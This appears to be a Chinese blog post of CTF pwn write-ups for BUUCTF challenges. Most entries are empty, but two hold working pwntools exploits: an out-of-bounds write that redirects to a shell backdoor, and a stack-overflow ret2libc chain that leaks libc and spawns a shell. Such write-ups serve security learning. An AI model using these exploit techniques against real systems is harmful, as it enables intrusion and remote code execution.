思路:

Exp:

wustctf2020_name_your_cat

思路:

这里存在数组越界,而且又有后门函数,然后还有循环五次,直接该返回地址为shell即可

Exp:

from pwn import *
from struct import pack
context.log_level='debug'
context(os = 'linux', arch = 'amd64')
 
p = process('./pwn')
#p = remote('node4.buuoj.cn', 29713)
elf = ELF('./pwn')
libc = ELF('buu/libc-2.23-x64.so')
 
 
for i in range(5):
p.recv()
p.sendline(b'7')
p.recv()
p.sendline(p32(elf.sym['shell']))
p.interactive()

actf_2019_babyheap

思路:

Exp:

cmcc_pwnme1

思路:

漏洞点位于getfruit函数,存在栈溢出,然后

这里一个getflag的后门函数,不在根目录下大概率不对,我还是直接打ter2libc吧

Exp:

from pwn import *
#p=process("./pwnme1")
elf=ELF("./pwnme1")
libc=ELF("libc-2.23_16_32.so")
p=remote("node5.buuoj.cn",28863)
p.sendline(b'5')
p.recv()
#gdb.attach(p)
payload=b'a'*(0xa4+0x4)+p32(elf.sym["puts"])+p32(elf.sym["main"])+p32(elf.got["puts"])
p.sendline(payload)
p.recvline()
pause()
libc_base=u32(p.recv(4))-libc.sym["puts"]
system=libc_base+libc.sym["system"]
binsh=libc_base+next(libc.search(b'sh\x00'))


p.sendline(b'5')

payload1=b'a'*(0xa4+0x4)+p32(system)+p32(0)+p32(binsh)
p.sendline(payload1)

print(hex(libc_base))
p.interactive()
pause()

wdb2018_guess

思路:

Exp:

axb_2019_brop64

思路:

Exp:

ciscn_2019_final_3

思路:

Exp:

ciscn_2019_es_1

思路:

Exp

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值